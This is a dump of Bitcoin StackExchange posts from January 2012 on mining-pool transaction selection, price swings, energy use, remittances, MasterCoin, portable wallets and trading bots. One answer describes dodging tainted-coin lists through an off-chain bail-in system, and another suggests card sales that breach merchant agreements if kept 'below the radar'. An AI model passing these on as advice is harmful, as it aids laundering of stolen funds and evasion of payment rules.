  <row Id="2444" PostTypeId="1" AcceptedAnswerId="2447" CreationDate="2012-01-06T11:10:52.333" Score="4" ViewCount="379" Body="&lt;p&gt;I've seen that it's possible to encode custom data in the block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it's possible for someone to start a mining pool consisting of client that use some metadata in either wallets or their transactions to process only some transactions, possibly for zero fees, that offers a confirmation time service level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so how would one determine the amount of processing power required to honour a certain service level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this service undermine some principal technical mechanisms of the bitcoin network? &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="5406" LastEditDate="2016-02-01T09:31:00.133" LastActivityDate="2016-02-01T09:31:00.133" Title="Would it be possible to create a mining pool service that specifically processed only certain transactions?" Tags="|mining-pools|security|development|transaction-selection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2447" PostTypeId="2" ParentId="2444" CreationDate="2012-01-06T13:40:45.807" Score="3" Body="&lt;p&gt;From what I understand, you are asking whether one can customize a client running at a mining pool to favour some transactions based on factors like what metadata they contain or where they were sent from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is, yes, it would be pretty easy if you would be able to program a custom client or pool software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching for a piece of information in a transaction is pretty easy and shouldn't require too much processing power (one could for example use OP_PUSHDATA and later OP_DROP to store some data without affecting the transaction). The downside is that anyone could see which transactions were potentially prepared like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to discriminate based on where the data came from (for example, your own eWallet, or custom wallet running on a computer), you'd need to spend some more time coding, but one couldn't distinguish between your special transactions and the normal ones. You could for example encode the client to wrap the transaction up in some data packet and sign it using a specific key and algorithm before sending it to your server. You'd have to write some special code to check the signature and relay the information to the pool, but it shouldn't be too hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such service would certainly go against the spirit of Bitcoin, and probably you'd get some backlash from the community if it found out, but it is possible none the less. Unless such a pool would hold a considerable amount of Bitcoin network's hashing power however, it would not disturb how the network works. However, if it was to reach 51+% percent of the hashing speed, as it is always with such an attack, it could control the entire network.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-06T16:00:56.040" LastActivityDate="2012-01-06T16:00:56.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2448" PostTypeId="1" AcceptedAnswerId="2452" CreationDate="2012-01-07T00:21:40.393" Score="2" ViewCount="131" Body="&lt;p&gt;How do the mining pools obtain the transaction information required to create a new block? Do they communicate with the network directly, or perhaps through a Bitcoin client, like bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-07T01:51:59.343" Title="How do pools get the needed transaction information?" Tags="|transactions|development|protocol|mining-pools|live-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2449" PostTypeId="1" CreationDate="2012-01-07T00:27:32.250" Score="-2" ViewCount="151" Body="&lt;p&gt;Over the past three weeks the prices of bitcoins in U.S. dollars has more than doubled.  Does anyone know why?  Is there some recent publicity that drove up interest (so that maybe prices will fall after it dies down)?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2012-01-07T00:59:02.557" Title="recent prices changes" Tags="|exchange-rate|marketplace|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2450" PostTypeId="2" ParentId="2449" CreationDate="2012-01-07T00:59:02.557" Score="2" Body="&lt;p&gt;According to Google Trends, there was an article on Slashdot about Bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/trends?q=bitcoin&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=mtd&amp;amp;sort=0&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/trends?q=bitcoin&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=mtd&amp;amp;sort=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And one could also attribute it to some other little things, like the small hype about The Good Wife's upcoming episode, or many prominent websites accepting Bitcoin donations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thebitcointrader.com/2011/12/bitcoin-bounty-ladder.html&quot; rel=&quot;nofollow&quot;&gt;http://www.thebitcointrader.com/2011/12/bitcoin-bounty-ladder.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then again, pricing Bitcoins at 2$ might've been psychologically too low for some people (like the miners that heavily invested in hardware around the big bubble).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, there isn't any sure prediction about how the Bitcoin price will behave, as the project is still young. Anyone can speculate, and your guess is as good as mine. If you want to discuss this issue, the question should be addressed on the forum, not on StackExchange.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-07T00:59:02.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2451" PostTypeId="2" ParentId="2119" CreationDate="2012-01-07T01:08:25.413" Score="1" Body="&lt;p&gt;I would say something simple. If there are a tainted list, it is really very easy to avoid it. Anyone here know what was 1mdc (1mdc.com)? It was a service that &quot;bailed in/out&quot; e-golds. A similar service/coin will make possible bitcoin transactions &quot;outside&quot; of the Bitcoin blockchain. So, you see... Once you bail-in your bitcoins there will be no way to track it back as it will be spend using another system - no public transactions then. Let's say you have 100 bitcoins. You use the 1mdc alike system to bail-in your bitcoins. Once it happened no more transactions with this 100 coins will be made in the bitcoin blockchain until you bail-out it. But you do not need to bail-out the coins... Use the 1mdc alike coins where it is accepted. Voilà! tainted list is useless.&lt;/p&gt;&#xA;" OwnerUserId="883" LastActivityDate="2012-01-07T01:08:25.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2452" PostTypeId="2" ParentId="2448" CreationDate="2012-01-07T01:51:59.343" Score="6" Body="&lt;p&gt;The Bitcoin client tracks transactions that can validly be included in a block. Mining pool controllers issue a &lt;code&gt;getwork&lt;/code&gt; command to the client to get work units to give to their miners. The client includes as many valid, normal transactions as will fit in the block, preferring transactions with higher fees and priorities and ignoring transactions that are non-standard or look spammy and have too low a fee.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-07T01:51:59.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2453" PostTypeId="2" ParentId="2441" CreationDate="2012-01-07T02:05:51.567" Score="0" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;btc-e&lt;/a&gt; exchange for example.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-01-07T02:05:51.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2454" PostTypeId="2" ParentId="2119" CreationDate="2012-01-07T02:30:33.303" Score="1" Body="&lt;p&gt;Could you make a custom client that doesnt process tainted coins? That would stop the spender if no one added his transaction to the block chain.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2012-01-07T02:30:33.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2455" PostTypeId="1" CreationDate="2012-01-07T03:27:07.590" Score="10" ViewCount="873" Body="&lt;p&gt;As more users use Bitcoin and &quot;forced work&quot; difficulty increases what effect does this have ecologically? It is a silly question I know. I'm just comparing let's say value or effect of using computational power for protein folding vs Bitcoin and curious if anyone has given or found some thought/exploration on the matter.&lt;/p&gt;&#xA;" OwnerUserId="885" LastEditorUserId="5406" LastEditDate="2016-02-01T09:29:43.127" LastActivityDate="2016-02-01T09:29:43.127" Title="What is the ecological effect of increased work for the Bitcoin chain?" Tags="|difficulty|hashpower|value|energy-consumption|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2456" PostTypeId="2" ParentId="2455" CreationDate="2012-01-07T03:52:43.717" Score="1" Body="&lt;p&gt;Increase in difficulty does not make Bitcoin miners mine any harder, it just takes them a longer time to solve a block. Their power consumption per unit of time remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, more miners joining the network and mining increases the difficulty. Correlation is similar, although causality is reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what impact does the increased hashing speed (and thus increased difficulty) have on the ecology? Well, more resources (electricity, hardware) are used to create new coins. In return the Bitcoin network gets more and more secure from attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to control the ecological footprint of Bitcoins, you should look into the USD/Difficulty ratio, that is how profitable mining is. Some miners operate on a tight margin, so getting that ratio lower would make them quit, and vice versa - get it high enough and people would want to mine with the least efficient hardware they can find.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-07T03:52:43.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2457" PostTypeId="2" ParentId="2455" CreationDate="2012-01-07T04:20:38.327" Score="1" Body="&lt;p&gt;To date, there has not been a single suggestion as to how to provide a work distribution system that is not centralized that would at the same time not be vulnerable to cheating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, it would be great if there was a way to not have to rely on sha256() hash calculations being done 9,000,000,000,000 times per second (the current hashing rate) and do something like folding instead.  But nobody can envision a way to do this where if someone isn't following the rules they don't disadvantage everyone else.  If there was a master node -- that would work, but with bitcoin, there is no master node.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alt currency called Litecoin uses a different approach where GPUs don't give the miner an advantage but the the same concept of a proof of work useless for anything other than verifying the blockchain is the output.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-01-07T04:20:38.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2458" PostTypeId="1" CreationDate="2012-01-07T06:13:16.337" Score="7" ViewCount="1239" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=3313&quot;&gt;Dacoinmister's&lt;/a&gt; &quot;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=56901.0&quot;&gt;The Second Bitcoin Whitepaper&lt;/a&gt;&quot; is a new proposal to create another p2p network over Bitcoin (called &lt;code&gt;MasterCoin&lt;/code&gt;), that will fix some of Bitcoin's drawbacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any logical inconsistencies in the paper? How about &quot;economic falacies&quot;? The paper talks about manipulating certain coins and shares to maintain certain properties (e.g. a minimal and maximal value of each MasterCoin). Can this be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that MasterCoin is not marketed as a Bitcoin alternative, but rather enhancement - if a value of MasterCoin rises, so will Bitcoin's.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-01-08T05:03:12.647" LastActivityDate="2012-01-17T16:01:59.883" Title="Is &quot;Dacoinminster's Second Bitcoin Whitepaper&quot; logically/economically consistent?" Tags="|alternatives|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2459" PostTypeId="1" CreationDate="2012-01-07T07:30:12.110" Score="19" ViewCount="2721" Body="&lt;p&gt;Minneapolis has a large community of immigrants from Somalia.  They have been accustomed to sending money to relatives there.  One person among them sent money to a terrorist organization that had an agent in Somalia.  Seemingly in response to that incident, local banks, fearing liability, stopped providing the service of wiring money to Somalia.  One person abused the system, so it's made unavailable to everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could bitcoins be used instead?  Could that service be quickly made available to the Somalis?  E.g., how much access to the internet in Somalia would be needed?  Would it be sufficient for those who were in the business of receiving wire-transfers there to have internet access?  What liability issues might arise for those who inform those in need of this system of how to do it?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="196" LastEditDate="2013-03-11T17:01:59.990" LastActivityDate="2020-09-09T18:28:03.153" Title="Bitcoins &amp; Somalia" Tags="|wire-transfers|hawala|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2460" PostTypeId="2" ParentId="2459" CreationDate="2012-01-07T09:35:03.143" Score="10" Body="&lt;p&gt;The system the Somalis (and many others) have been using to send money around the world for centuries is called hawala. Monetary futurist Jon Matonis calls Bitcoin a potential replacement for hawala.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I suspect that Somalis would be hard-pressed to use Bitcoin for personal remittances, owing to the lack of local exchangers and Bitcoin-accepting merchants on the ground. However, traditional hawaladars might well use Bitcoin as a means of settling accounts among themselves, while taking receipts and making payouts in the locally-preferred fiat currencies.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2012-01-07T09:35:03.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2461" PostTypeId="2" ParentId="2455" CreationDate="2012-01-07T12:48:37.220" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/stats&quot;&gt;Blockchain.info&lt;/a&gt; reckons the network used    156.51 megawatt hours of electricity in the last 24 hours. &lt;a href=&quot;http://www.phy.syr.edu/courses/modules/ENERGY/ENERGY_POLICY/tables.html&quot;&gt;This random physics page I googled up&lt;/a&gt; reckons a car driving at 40mph takes 100kW (so, 2.4 MWh in 24 hours).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by these (very) rough figures, running the Bitcoin network takes about as much energy as driving 65 cars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many vehicles are used in the transportation of physical cash? Not to mention the energy costs of physically storing and securing cash. I'd say Bitcoin is almost certainly a net positive for the environment to the extent that it displaces physical cash.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-01-07T12:48:37.220" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2462" PostTypeId="2" ParentId="2459" CreationDate="2012-01-07T13:17:51.383" Score="2" Body="&lt;p&gt;Thanks to eWallets, one needs very little access to the internet to operate on the Bitcoin network. Provided you trust those, it should be as easy as operating PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem though is getting Bitcoins in Somalia, how stable the Bitcoin value is, and how much the fees are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no exchanges supporting anything but the major currencies, so someone wanting to get some coins would have to earn them by offering some goods or services online. Because of this people might not be willing to trade in Bitcoins, as they would not be able to transfer them to their local currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the value of Bitcoins is increasing quite fast and nobody's sure where it'll stop. The problem is, that is can go down in value just as fast, an then anyone holding savings in Bitcoins rather than a traditional currency would be at a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version of the Bitcoin client requires one to pay a fee based on the size of the transaction. It isn't much if you are transferring a couple Bitcoins, but when you want to send equivalents of a couple cents, it can eat a noticeable part of your transaction. If the value of Bitcoins will go up, the equivalent value of the transactions in real currency will increase, thus making every transfer of Bitcoins more expensive. At some point, using Bitcoins for transferring low-value currency will stop being feasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, yes, Bitcoins are a viable replacement of the traditional banking system and can be used pretty much anywhere, but the infrastructure for using Bitcoins might not yet be available everywhere for wide adoption.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-07T13:17:51.383" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2463" PostTypeId="2" ParentId="2458" CreationDate="2012-01-07T13:54:35.153" Score="1" Body="&lt;p&gt;Reading the paper whereas the idea behind it might be plausible, it adds unnecessary levels of complexity to creating money and transferring it. Moreover, anything advocating for &quot;destroying Bitcoins&quot; as a part of their protocol should not be welcome in the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the economical point of view, a much simpler approach to the whole problem is the idea of &lt;a href=&quot;http://digitalcoin.info/&quot; rel=&quot;nofollow&quot;&gt;Digital Coins&lt;/a&gt;, wherein one has two types of currencies - Perpetual Coin and Digital Coin. First one can be created by anyone in any volume, destroyed by the issuer and is backed in value by goods and services. The other is like Bitcoins - is fixed in amount, cannot be destroyed, and is a measure of value (like gold is today).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, whereas anyone can do anything with the Bitcoin network and efforts of coming up with new ways of using the currency is commendable, I personally don't see the place for &quot;MasterCoin&quot; anywhere.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-07T13:54:35.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2464" PostTypeId="1" AcceptedAnswerId="2468" CreationDate="2012-01-07T20:37:07.177" Score="3" ViewCount="1042" Body="&lt;p&gt;I have just purchased an Ironkey. Which version of bitcoin client can run without needing installation or download of the blockchain? One which may connect to a server to access blockchain info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially I can plug it in anywhere and send money direct from the secure drive.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-01-08T13:41:05.633" Title="Which bitcoin client distribution to use on a secure pen drive?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2465" PostTypeId="1" CreationDate="2012-01-07T20:41:12.263" Score="4" ViewCount="710" Body="&lt;p&gt;I've seen sites that make use of google checkout or other forms of cards processing to convert USD from debit/credit cards to BTC.  I know that these types of sites cannot be opened up to the public because it takes one bad egg to bring the whole thing to a stop.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what is keeping someone doing this on a small scale to only trusted individuals, friends, family, ect?&lt;br&gt;&#xA;Also if one person can do that, btw such sites do already exist, then why don't we(the community) write an open source version and all run such micro-sites for our friends and families?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most people I talk to get interested until they realize how hard it is to actually buy coins.&lt;/p&gt;&#xA;" OwnerUserId="887" LastActivityDate="2012-01-07T23:03:22.513" Title="Private credit card/debit card exchanges?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2466" PostTypeId="2" ParentId="2465" CreationDate="2012-01-07T20:50:19.630" Score="0" Body="&lt;p&gt;If two people that know each other want to exchange Bitcoins&amp;lt;-&gt;normal currencies, they can just give the money to each other in person (provide they live close), use wire transfers (which are a pretty acceptable form of transferring money in some countries), or use Pay Pal (not specifying what the transfer is for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need much more infrastructure than that if you can trust the other person.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-07T20:50:19.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2467" PostTypeId="2" ParentId="2464" CreationDate="2012-01-07T20:52:16.510" Score="1" Body="&lt;p&gt;For now, there two lightweight client that can possibly solve your problem - &lt;a href=&quot;https://en.bitcoin.it/wiki/Electrum&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; and &lt;a href=&quot;http://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always try an eWallet for holding small amount of coins, and run a normal Bitcoin client at home.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-08T13:41:05.633" LastActivityDate="2012-01-08T13:41:05.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2468" PostTypeId="2" ParentId="2464" CreationDate="2012-01-07T22:00:48.780" Score="3" Body="&lt;p&gt;You can run MultiBit on a pen drive in a portable manner if you include Java runtime environments (JREs) for the operating systems you are interested in.  By including a JRE on the pen drive you can be sure it will run on the target computer.  MultiBit runs on Windows, Mac and Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some help on how to set up MultiBit on a pen drive here : &lt;a href=&quot;http://multibit.org/help_runFromUSBDrive.html&quot; rel=&quot;nofollow&quot;&gt;http://multibit.org/help_runFromUSBDrive.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a shell script / bat file with the single line: 'local-path-to-jre/java -jar multibit-exe.jar' to start it up using your included JRE.  (Note that Macs are guaranteed to have Java installed so you do not need to supply a JRE for that platform.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a detailed tutorial on how to install a JRE here: &lt;a href=&quot;http://www.dreamincode.net/forums/topic/42544-putting-java-on-your-flash-drive/&quot; rel=&quot;nofollow&quot;&gt;http://www.dreamincode.net/forums/topic/42544-putting-java-on-your-flash-drive/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can store your MultiBit wallets on your pen drive.   By default the path to the wallets is stored in the MultiBit config file multibit.properties as an absolute path (i.e. with a drive letter/ name).   I think you can tweak this to put in a &lt;em&gt;relative&lt;/em&gt; path which would then open automatically on any computer.   Alternatively you can just go to the 'Your Wallets' screen and press the 'Open Wallet' button to open it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strictly speaking MultiBit does keep a local copy of the blockchain but it is the bitcoinj block chain so is less than 20 megabytes. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-01-08T11:20:38.057" LastActivityDate="2012-01-08T11:20:38.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2469" PostTypeId="2" ParentId="2465" CreationDate="2012-01-07T23:03:22.513" Score="1" Body="&lt;p&gt;If you operate below the radar that practice can thrive.  For instance, if you were to accept a friend's credit card swipe using your Square dongle for the sale of your bitcoins, you'ld probably be in violation of the merchant agreement.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the charges are from friends and family and only made occasionally Square will probably never know nor care what the reason was for the purchases.  But start doing regular &quot;card not present&quot; tranasactions for larger transaction amounts (e.g., $100 or more) and that's probably when you'll end up getting asked for more details on your business activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do know that you expose yourself to the risk of a chargeback should a payment dispute occur. &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-01-07T23:03:22.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2470" PostTypeId="2" ParentId="2458" CreationDate="2012-01-07T23:24:02.110" Score="2" Body="&lt;p&gt;It will fail for the same reason other attempts to stabilize currency values always fail. The first time there's a crisis, the regulator will have to decide whether to permit the crisis or prevent the crisis. If they permit the crisis, people will realize that the promised 'guarantees' are shams. If they try to prevent the crisis, they will run their reserves down to nothing, and the same thing will happen as if they permitted the crisis except they'll be broke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make one small change though, I don't see any major technical flaws. Simply accept that the regulation will be maintained only under normal conditions and that crises may push the ratios out of bounds. The regulator should have a policy for how it detects a crisis, what it does during them, and how and to what extent it compensates people harmed by them afterwards, if at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, before banks were Federally insured, they would have a policy that the board of directors of the bank could declare a &quot;crisis&quot;, suspend withdrawals, but later compensate people with extra interest.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-01-08T23:11:32.790" LastActivityDate="2012-01-08T23:11:32.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2471" PostTypeId="1" AcceptedAnswerId="2473" CreationDate="2012-01-08T04:21:16.067" Score="7" ViewCount="8012" Body="&lt;p&gt;Say I had a 100$ in a Mt.Gox account and wanted to send it to my TradeHill account, how hard is it to perform a transaction like that without going through a separate bank account? I'm mostly asking in a context of automated trading bots, buying and selling Bitcoins at different exchanges.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-19T18:47:20.943" Title="How hard is it to transfer money between Bitcoin exchanges?" Tags="|exchanges|wire-transfers|bots|trade|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2472" PostTypeId="1" AcceptedAnswerId="2474" CreationDate="2012-01-08T04:40:05.430" Score="25" ViewCount="24476" Body="&lt;p&gt;Has anyone published an open-source trading bot that runs on a Bitcoin exchange?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="153" LastEditDate="2013-03-17T14:40:30.830" LastActivityDate="2018-07-17T20:06:28.013" Title="Are there any open-source trading bots out there?" Tags="|exchanges|trading|open-source|bots|arbitrage|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2473" PostTypeId="2" ParentId="2471" CreationDate="2012-01-08T05:34:37.680" Score="6" Body="&lt;p&gt;That's exactly the service &lt;a href=&quot;https://www.bitinstant.com/&quot;&gt;https://www.bitinstant.com/&lt;/a&gt; provide, it should be fairly simple and I think they and mtgox have the API necessary to do this by a bot.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-08T05:34:37.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2474" PostTypeId="2" ParentId="2472" CreationDate="2012-01-08T06:38:33.203" Score="4" Body="&lt;p&gt;I wrote a simple market maker bot in Python: &lt;a href=&quot;https://github.com/chrisacheson/liquidbot&quot; rel=&quot;nofollow&quot;&gt;https://github.com/chrisacheson/liquidbot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This software allows you to place orders on MtGox market.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Liquidbot uses ezl's wrapper code to interface with MtGox: &lt;a href=&quot;https://github.com/ezl/mtgox&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ezl/mtgox&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Aricie runs a hosted market maker bot platform: &lt;a href=&quot;https://dnnbitcoin.aricie.com/default.aspx&quot; rel=&quot;nofollow&quot;&gt;https://dnnbitcoin.aricie.com/default.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="6226" LastEditDate="2013-08-08T18:52:53.033" LastActivityDate="2013-08-08T18:52:53.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2475" PostTypeId="2" ParentId="2471" CreationDate="2012-01-08T07:12:22.530" Score="3" Body="&lt;p&gt;This is why there are some juicy arbitrage opportunities between the exchanges when the prices are volatile -- few traders keep much cash idle in different exchanges so when the price rises as the result of a whale at Mt. Gox, exchange rates at the other exchanges might lag until either new funds are transferred or the sellers wake up and readjust their orders to reflect the new price levels on other exchanges).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is [Edit: was] always &lt;a href=&quot;http://www.bitcoinica.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinica.com&lt;/a&gt; for leverage.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-19T18:47:20.943" LastActivityDate="2012-11-19T18:47:20.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2476" PostTypeId="1" AcceptedAnswerId="2505" CreationDate="2012-01-08T16:32:19.363" Score="2" ViewCount="181" Body="&lt;p&gt;The &quot;wallet export format&quot; is mentioned at the Wiki page for &lt;a href=&quot;https://en.bitcoin.it/wiki/Mini_private_key_format&quot; rel=&quot;nofollow&quot;&gt;Mini private key format&lt;/a&gt;, but it doesn't seem to be explained on the Wiki. How does one convert the export format to and from corresponding keys?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-10T13:28:20.723" Title="What is the &quot;wallet export format&quot;?" Tags="|development|address|encoding|address-format|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2477" PostTypeId="1" AcceptedAnswerId="5379" CreationDate="2012-01-08T17:20:15.910" Score="11" ViewCount="9925" Body="&lt;p&gt;I'm finally getting ready to install an Android client.&#xA;I believe &lt;a href=&quot;https://market.android.com/details?id=de.schildbach.wallet&quot;&gt;Android Wallet&lt;/a&gt; is the most popular one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I back up the bitcoins stored on it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a thin native Android client being developed?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-05T13:58:47.000" LastActivityDate="2016-01-05T13:58:47.000" Title="How to backup Android Wallet?" Tags="|client|thin-clients|bitcoin-wallet-app|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2478" PostTypeId="1" AcceptedAnswerId="2658" CreationDate="2012-01-08T21:39:59.083" Score="2" ViewCount="567" Body="&lt;p&gt;I can't find them any where.  Note, I'll admit I'm a new Mac user, so I may be missing an obvious location, however, I can't find it in my personal folder.  Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="5406" LastEditDate="2016-02-01T09:28:30.133" LastActivityDate="2016-02-01T09:28:30.133" Title="Where are the Diablominer Config Settings stored in Mac OSX?" Tags="|mac|miner-configuration|diablominer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
